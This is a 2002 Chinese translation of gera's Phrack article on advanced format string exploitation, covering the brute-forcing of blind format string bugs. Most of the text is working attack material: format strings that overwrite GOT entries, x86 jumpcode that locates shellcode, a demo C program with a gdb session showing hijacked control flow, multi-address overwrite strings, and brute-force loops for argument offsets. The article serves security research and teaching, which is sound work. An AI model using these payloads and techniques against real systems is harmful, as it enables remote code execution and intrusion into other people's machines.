【原理】高级format string exploit技术P59-0x07(上)

高级format string exploit技术P59-0x07(上)

创建时间：2002-08-17
文章属性：转载
文章提交： xundi (xundi_at_xfocus.org)

高级format string exploit技术P59-0x07(上)

原文: <<Advances in format string exploiting>>
by gera <gera@corest.com>, riq <riq@corest.com>
翻译整理by
alert7 < alert7@xfocus.org >
主页: http://www.xfocus.org/  http://www.whitecell.org/
yikaikai < yikaikai@sina.com >

第一部分：暴力破解格式化字符串
第二部分：利用堆(heap)字符串(in SPARC)

|=---------------=[ 第一部分: 暴力破解格式化字符串          ]=---------------=|
|=----------------------=[ gera <gera@corest.com> ]=---------------------=|



    1 - 简介
    2 - 32*32 == 32 - 使用跳转代码(jumpcodes)
      2.1 - 在任何已知地方写入代码
      2.2 - 其他地方的代码
      2.3 - 没有可用的地址
    3 - n倍加快
      3.1 - 多地址覆盖
      3.2 - 多参数暴力破解
    4 - more greets and thanks
    5 - References


前言：

    本文原由whitecell论坛( http://www.whitecell.org/forums/ )yikaikai翻译的，可惜现在
他没有时间，就交由我来翻译了。不过还是要感谢yikaikai的辛苦翻译的前一段。

    本文是讲如何暴力破解format sting的文章。本文讨论的东西使用于类似syslog format string
bug,就是不能利用format string bug得到反馈信息的情况。在可以利用format string bug得到反馈
信息的情况下，我们可以学习得到的信息。从而使我们的exploit更智能。具体请参考pappy@miscmag.com
写的，我翻译的<<如何写远程自动精确定位的format string exploit>>.
本文只是些idea,具体的实现就由你自己来写了.翻译的有点仓促，错误的地方有请各位斧正。

--[ 1. 简介

  也许你在寻找关于format strings exploit的文章。你可以先看scut写的一篇很精彩关于
format strings的文章。

  这篇文章是关于在使用exploit时可以加快暴力破解format stings时速度的两个小技巧。

    "...暴力破解当然不是件快乐的事情，许多exploit的作者都讨厌的东西，人们想方设法的
    使用其他方法来代替暴力破解"

感谢所有在这方面有灵感的人们， 特别是{MaXX, dvorak,Scrippie}, scut[], lg(zip)和 lorian+k.


--[ 2. 32*32 == 32 - 使用跳转代码

   一个format strings的bug可以使往任何数据写到任何地方。作者把它称为write-anything-anywhere
权限。当你有了write-anything-anywhere权限后，在这，描述了一些方法，比如说利用format string
bug改写strcpy()函数的目的指针，free()函数的参数变量和溢出ret2memcpy缓冲(倒，这个具体指什么？)等等。

    Scut[1], shock[2], 和其他一些人阐述了在拥有write-anything-anywhere权限时几种方法
来hook程序的执行流程。例如修改GOT，修改函数指针，修改atexit结构，类的虚拟函数指针等等。当你
想这样做的时候， 你必须知道或者预测出两个不同的地址:函数指针地址和shellcode的地址。 如果你
要盲目的暴力破解的话， 你需要猜测64位。其实也用不了这么多，GOT地址总是开始于0x0804地址，你
的代码总是开始于0x0805...对Linux的确是这样的，所以不是64位， 而是32位。 所以你只需猜测
4,294,967,296次了...你可能想到办法提供4k的nops，这样的话，你就可以每次跳4k，这样就减少到了
1,048,576次。 还有GOT数组每个元素大小是4字节, 剩下了262,144...呵呵,即使是最小的那个
262,144对远程的来说话，还是太大了(对本地的可能还好说点)。

    有时候我们可以使用些其他的技术，如果我们有读权限的话我们可以在目标进程读出些东西来学习，
或者把写权限变成读权限，或者使用大量的nops指令，或者使用目标stack，或者只是硬编码地址值。
等等随你高兴使用。

   你还可以做更多的事情， 因为你不是被限制只能写4字节， 你可以把你的 shellcode写到任意的
地址去。

   其实知道熟悉format strings bug的人都会想到这个---把shellcode写到任意的地址去。
(如果有类试的代码
    for (;;)
       printf(buf);
)
关于这个我也写过一篇拙作<<绕过libsafe的保护--覆盖_dl_lookup_versioned_symbol技术>>,
其中也展现了一种新的技术--覆盖_dl_lookup_versioned_symbol技术。从此，在控制获得程序控制权
方面又多了种方法。

再总结下几种方法：
1. 覆盖GOT
2. 利用DTORS
3. 利用 C library hooks
4. 利用 atexit 结构(静态编译版本才行)
5. 覆盖函数指针
6. 覆盖jmpbuf's
7. 覆盖dl_lookup_versioned_symbol

其实覆盖dl_lookup_versioned_symbol也是覆盖GOT技术,只不过是ld的GOT


----[ 2.1 在任何已知地方写入代码

    只要存在format string bug,你就可以把任何东西写到内存的不同地方 ，所以你可以选择
已知的可写的地址。例如0x8051234，我们可以把代码写在这个地方，然后修改函数指针(GOT,atexit
结构等等)让他们指向它:

           GOT[read]:     0x8051234     ; of course using read is just
                                        ; an example

           0x8051234:     shellcode

   现在，shellcode的地址是我们指定的，总是0x8051234,因此你只要暴力破解修改
函数指针地址， 在最坏的情况你将暴力破解这15位。这个量也是非常大的。

    你利用format string使用这种技术的时候可能不能写一个200字节的shellcode(你可以吗？)，
也许你只能写一个30字节的shellcode，也可能你只能写几个字节...所以，我们就需要一个
跳转代码(jumpcode).


----[ 2.2 其他地方的代码

    我相信你能够将一些代码放到目标进程的任何地址内存中。假如是这种情况的话，我们就需要
一段跳转代码(jmpcode)来定位shellcode并且跳到那里。做点这个是比较简单的，只需一点小的技术。

    如果shellcode在堆栈的某处, 假如当跳转代码执行的时候，你大概知道shellcode离
SP有多远的话，你就可以跳到SP+8或+5字节的地方:

              GOT[read]:      0x8051234

              0x8051234:      add $0x200, %esp   ; delta from SP to code
                  jmp *%esp          ; just use esp if you can

              esp+0x200:      nops...            ; just in case delta is
                                             ; not really constant
                          real shellcode     ; this is not writen using
                                             ; the format string

   那么假如shellcode代码在堆(heap)中呢？ 你有没有好的想法呢？以下想法来自Kato
(这个版本是18 bytes, Kato's 版本较长一些，他没有使用format string):

          GOT[read]:      0x8051234

          0x8051234:      cld
                          mov $0x4f54414a,%eax   ; so it doesn find
                  inc %eax               ; itself (tx juliano)
                          mov $0x804fff0, %edi   ; is it low enough?
                                         ; make it lower
                  repne scasl
                  jcxz .-2               ; keep searching!
                  jmp *$edi              ; upper case letters
                                         ; are ok opcodes.

          somewhere
            in heap:      KATO              ; if you know the alignment
        
                      KKATO             ; one is enough, otherwise
                  KKATO             ; make some be found
                  KKATO
                  real shellcode
                      
    假如在stack中，你又不知道它确切在哪里呢？(10bytes)
    
          GOT[read]:      0x8051234

          0x8051234:      mov $0x4f54414a,%ebx   ; so it doesn find
                  inc %ebx               ; itself (tx juliano)
                          pop %eax        //把read的参数pop出来
                          cmp %ebx, %eax
                  jnz .-2
                  jmp *$esp

          somewhere
           in stack:      KATO              ; you'll know the alignment
                          real shellcode

    在其他地方呢? OK， 你可以自己构造你的jmpcode代码 :-) 不过要小心， 'KATO'也许不是个
很好构造的string,因为它的执行可能带来些副作用. :-)


--| 友好(friendly)函数  |--
    
   当你修改了GOT，让他指向你的函数，然后就可以做些手脚了。例如，假如你改变了函数指针，
free()函数的参数又指向shellcode的buffer，我们就只需要这样做:(2 bytes)

              GOT[free]:      0x8051234          ; using free this time

          0x8051234:      pop %eax           ; discarding real ret addr
                          ret                ; jump to free's argument    

   同样地有read()和syslog还有一些其他函数...不同的是，可能你需要一些稍微复杂点的跳转代码:
(7 or 10 bytes)
              GOT[syslog]:    0x8051234          ; using syslog

          0x8051234:      pop %eax           ; discarding real ret addr
                              pop %eax
                  add $0x50, %eax    ; skip some non-code bytes
                  jmp *$eax

   如果没有其他的方法可行， 但是你可以区分crash和挂起(hung)， 你可以用一个无限循环来使
目标机挂起(hung):你可以暴力破解GOT的地址直到服务器挂起，然后你就知道GOT的正确位置了，
接着就可以暴力破解shellcode的地址了。

          GOT[exit]:      0x8051234

          0x8051234:      jmp .              ; infinite loop


----[ 2.3 没有可有的地址
  
   作者不喜欢选用任意的地址，例如0x8051234,他使用了稍微不同的方法

              GOT[free]:      &GOT[free]+4       ; point it to the next 4 bytes
                          jumpcode           ; address is GOT[free]+4

    你不知道GOT[exit]的地址，但是在暴力破解的时候我们假设已经知道，然后使它指向下4个字节。
在那里放置jumpcode.例如，假设GOT[exit]在0x80490994,那么你的跳转代码是0x8049098,
然后你就必须把值0x8049098写入地址0x8049094中。这样的话，当运行exit()的时候就会跳到
0x8049098执行：

  /* fstring.c                                               *
   * demo program to show format strings techinques          *
   * specially crafted to feed your brain by gera@corest.com */

  int main() {
    char buf[1000];

    strcpy(buf,
      "/x88/x96/x04/x08"          // GOT[free]'s address,这是在我的机子上的地址
      "/x8a/x96/x04/x08"          //
      "/x8c/x96/x04/x08"          // jumpcode address (2 byte for the demo)
      "%.38528u"                  // complete to 0x968c (0x968c-3*4)
      "%4$hn"                     // write 0x968a to 0x8049688
      "%.29048u"                  // complete to 0x10804 (0x10804-0x968c)
      "%5$hn"                     // write 0x0804 to 0x804968a
      "%.47956u"                  // complete to 0x1c358 (0x1c358-0x10804)
      "%6$hn"                    // write 0xc35b (pop - ret) to 0x804968c
      );

    printf(buf);
    free(buf);//alert7 add
  }

[alert7@redhat73 alert7]$ gcc -o fstring fstring.c
[alert7@redhat73 alert7]$ gdb fstring -q
(gdb) br main
Breakpoint 1 at 0x8048479
(gdb) r
Starting program: /home/alert7/fstring
Breakpoint 1, 0x08048479 in main ()
(gdb) disass main
Dump of assembler code for function main:
0x8048470 <main>:       push   %ebp
0x8048471 <main+1>:     mov    %esp,%ebp
0x8048473 <main+3>:     sub    $0x3f8,%esp
0x8048479 <main+9>:     sub    $0x8,%esp
0x804847c <main+12>:    push   $0x8048540
0x8048481 <main+17>:    lea    0xfffffc08(%ebp),%eax
0x8048487 <main+23>:    push   %eax
0x8048488 <main+24>:    call   0x8048358 <strcpy>
0x804848d <main+29>:    add    $0x10,%esp
0x8048490 <main+32>:    sub    $0xc,%esp
0x8048493 <main+35>:    lea    0xfffffc08(%ebp),%eax
0x8048499 <main+41>:    push   %eax
0x804849a <main+42>:    call   0x8048338 <printf>
0x804849f <main+47>:    add    $0x10,%esp
0x80484a2 <main+50>:    sub    $0xc,%esp
0x80484a5 <main+53>:    lea    0xfffffc08(%ebp),%eax
0x80484ab <main+59>:    push   %eax
0x80484ac <main+60>:    call   0x8048348 <free>
0x80484b1 <main+65>:    add    $0x10,%esp
(gdb) b * 0x80484ac
Breakpoint 2 at 0x80484ac
(gdb) c
...
00000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000
Breakpoint 2, 0x080484ac in main ()
(gdb) x/x 0x8049688
0x8049688 <_GLOBAL_OFFSET_TABLE_+28>:   0x0804968c
(gdb) x/2i 0x0804968c
0x804968c <_GLOBAL_OFFSET_TABLE_+32>:   pop    %eax
0x804968d <_GLOBAL_OFFSET_TABLE_+33>:   ret
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xbffff720 in ?? ()

ok,已经跳到了buf执行了。

   一开始作者没有加free(buf)，程序里就没有用到free函数，free函数是不会出现在GOT中的。
   在例子中，GOT[free]地址是0x8049688, 我们使用 format string bug就把GOT[free]
的值改成了0x0804968c，下次free()被调用时就转到0x0804968c去执行了.

    最后一种方法有另一个好处，它不仅可以用于format string---每次写入不同地址，
而且更可以在具有write-anything-anywhere权限的时候使用。就像覆盖strcpy()函数的目的指针
一样或者是一个ret2memcpy的buffer溢出。假如你足够聪明幸运的话，你自己把这技术应用到
单free()bug( free(buf)时候，buf的chunk可又用户控制).


--[ 3. n倍加快

----[ 3.1 - 多地址覆盖

    如果你能写的多多于4个bytes的话, 你不仅可以将shellcode或jumpcode放到你想要放
的地方，而且可以在同时改变多个指针，再次加快破解速度。

    当然这还需要有write-anything-anywhere权限，这就允许我们一次写不止4bytes。 以下有
种使用format strings的简单方法来把同样的值写到所有的指针。

    假设我们使用下面的格式化字符串在0x08049094地址写入0x12345678：

    "/x94/x90/x04/x08"          // the address to write the first 2 bytes
    "AAAA"                      // space for 2nd %.u
    "/x96/x90/x04/x08"          // the address for the next 2 bytes
    "%08x%08x%08x%08x%08x%08x"  // pop 6 arguments
    "%.22076u"                  // complete to 0x5678 (0x5678-4-4-4-6*8)
    "%hn"                       // write 0x5678 to 0x8049094
    "%.48060u"                  // complete to 0x11234 (0x11234-0x5678)
    "%hn"                       // write 0x1234 to 0x8049096

    因为%hn不向output string加字符，所以我们能够在不用使用padding的情况下把同一个值
写入几个不同的地方。例如，就象下面的format string,把值0x12345678写入了开始于地址0x8049094
的五个连续地址：

    "/x94/x90/x04/x08"          // addresses where to write 0x5678
    "/x98/x90/x04/x08"          //
    "/x9c/x90/x04/x08"          //
    "/xa0/x90/x04/x08"          //
    "/xa4/x90/x04/x08"          //
    "AAAA"                      // space for 2nd %.u
    "/x96/x90/x04/x08"          // addresses for 0x1234
    "/x9a/x90/x04/x08"          //
    "/x9e/x90/x04/x08"          //
    "/xa2/x90/x04/x08"          //
    "/xa6/x90/x04/x08"          //
    "%08x%08x%08x%08x%08x%08x"  // pop 6 arguments
    "%.22044u"                  // complete to 0x5678: 0x5678-(5+1+5)*4-6*8
    "%hn"                       // write 0x5678 to 0x8049094
    "%hn"                       // write 0x5678 to 0x8049098
    "%hn"                       // write 0x5678 to 0x804909c
    "%hn"                       // write 0x5678 to 0x80490a0
    "%hn"                       // write 0x5678 to 0x80490a4
    "%.48060u"                  // complete to 0x11234 (0x11234-0x5678)
    "%hn"                       // write 0x1234 to 0x8049096
    "%hn"                       // write 0x1234 to 0x804909a
    "%hn"                       // write 0x1234 to 0x804909e
    "%hn"                       // write 0x1234 to 0x80490a2
    "%hn"                       // write 0x1234 to 0x80490a6

    或者等同于使用$的情况

    "/x94/x90/x04/x08"          // addresses where to write 0x5678
    "/x98/x90/x04/x08"          //
    "/x9c/x90/x04/x08"          //
    "/xa0/x90/x04/x08"          //
    "/xa4/x90/x04/x08"          //
    "/x96/x90/x04/x08"          // addresses for 0x1234
    "/x9a/x90/x04/x08"          //
    "/x9e/x90/x04/x08"          //
    "/xa2/x90/x04/x08"          //
    "/xa6/x90/x04/x08"          //
    "%.22096u"                  // complete to 0x5678 (0x5678-5*4-5*4)
    "%8$hn"                     // write 0x5678 to 0x8049094
    "%9$hn"                     // write 0x5678 to 0x8049098
    "%10$hn"                    // write 0x5678 to 0x804909c
    "%11$hn"                    // write 0x5678 to 0x80490a0
    "%12$hn"                    // write 0x5678 to 0x80490a4
    "%.48060u"                  // complete to 0x11234 (0x11234-0x5678)
    "%13$hn"                    // write 0x1234 to 0x8049096
    "%14$hn"                    // write 0x1234 to 0x804909a
    "%15$hn"                    // write 0x1234 to 0x804909e
    "%16$hn"                    // write 0x1234 to 0x80490a2
    "%17$hn"                    // write 0x1234 to 0x80490a6

    这个例子中，一次改写了五个“函数指针”，当然也可以改写更多。真正的限制是你能提供多长的字符串,
假如你不直接使用参数(就是不使用$hn情况)的话，你还要考虑为了得到要写的地址，你需要确定pop多少个参数。
一般直接使用参数访问是有限制(Solaris's 库是30, 有些Linuxes 是400, 也许还有其他的值)。

    如果你想将jumpcode和多地址覆盖技术结合起来的话，你必须记住跳转代码(jumpcode)不是在
函数指针的后面的4个bytes, 而是更远， 这起决于你想一次覆盖多少个地址。


----[ 3.2 - 多参数暴力破解

    有时候你不知道需要pop多少个参数，或者使用$hn的时候你不知道需要直接跳多少参数，所以你需要尝试直到
得到正确的数值. 有些时候我们没有更好的方法, 特别是在非盲目暴力破解format string bug的时候。
但是无论如何, 你可能会碰到不知道要pop多少个参数的情况，我们可以使用下面这个例子把它找出来。

    pops = 8
    worked = 0
    while (not worked):
      fstring  = "/x94/x90/x04/x08"        # GOT[free]'s address
      fstring += "/x96/x90/x04/x08"        #
      fstring += "/x98/x90/x04/x08"        # jumpcode address
      fstring += "%.37004u"                # complete to 0x9098
      fstring += "%%%d$hn" % pops          # write 0x9098 to 0x8049094
      fstring += "%.30572u"                # complete to 0x10804
      fstring += "%%%d$hn" % (pops+1)      # write 0x0804 to 0x8049096
      fstring += "%.47956u"                # complete to 0x1c358
      fstring += "%%%d$hn" % (pops+2)      # write (pop - ret) to 0x8049098
      worked = try_with(fstring)
      pops += 1

   这个例子中, 我们使用递增变量'pops'方法来找到合适的值(使用直接参数访问)。假如我们重复多次
使用目标地址，我们就可以使pops变量增长的更快。例如，我们可以重复每个地址5次，这样我们就可以
加快暴力破解的速度了。

    pops = 8
    worked = 0
    while (not worked):
      fstring  = "/x94/x90/x04/x08" * 5    # GOT[free]'s address
      fstring += "/x96/x90/x04/x08" * 5    # repeat eddress 5 times
      fstring += "/x98/x90/x04/x08" * 5    # jumpcode address
      fstring += "%.37004u"                # complete to 0x9098
      fstring += "%%%d$hn" % pops          # write 0x9098 to 0x8049094
      fstring += "%.30572u"                # complete to 0x10804
      fstring += "%%%d$hn" % (pops+6)      # write 0x0804 to 0x8049096
      fstring += "%.47956u"                # complete to 0x1c358
      fstring += "%%%d$hn" % (pops+11)     # write (pop - ret) to 0x8049098
      worked = try_with(fstring)
      pops += 5

    找到5个中任何一个随机的拷贝就可以了， 越多的拷贝速度越快

    这是一个简单的想法，只是重复覆盖地址。如果你有什么疑问，可以用笔和纸画画计算下，
先画出放有format string的stack，再把一些随机参数放在堆栈顶，然后手动开始暴力破解...

    这看起来很傻但也许有天会帮上你, 你永远不可能知道。 当然了, 不直接参数访问
也可以同样做到。但是比较复杂了，因为每次你必须要重新计算%.u的长度。

--[ 未命名和未列出的部分
    
    通过这篇文章, 我的观点是：format string可以做到的比具有4-bytes-write-anything-anywhere
权限的多，它是可以把任意多的字节写到任何地址（也就是说具有full write-anything-anywhre权限),
这会给我们更多的可能。

    好了，文章就写到这里，剩下的就由你来完成了。


--[ 4. more greets and thanks

    riq, for trying every stupid idea I have and making it real!

    juliano, for being our format strings guru.

    Impact, for forcing me to spend time thinking about all theese amazing
    things.

--[ 5. references

[1] Exploiting Format String Vulnerability, scut's.
    March 2001. http://www.team-teso.net/articles/formatstring

[2] w00w00 on Heap Overflows, Matt Conover (shok) and w00w00 Security Team.
    January 1999. http://www.w00w00.org/articles.html

[3] Juliano's badc0ded
     http://community.corest.com/~juliano

[4] Google the oracle.
     http://www.google.com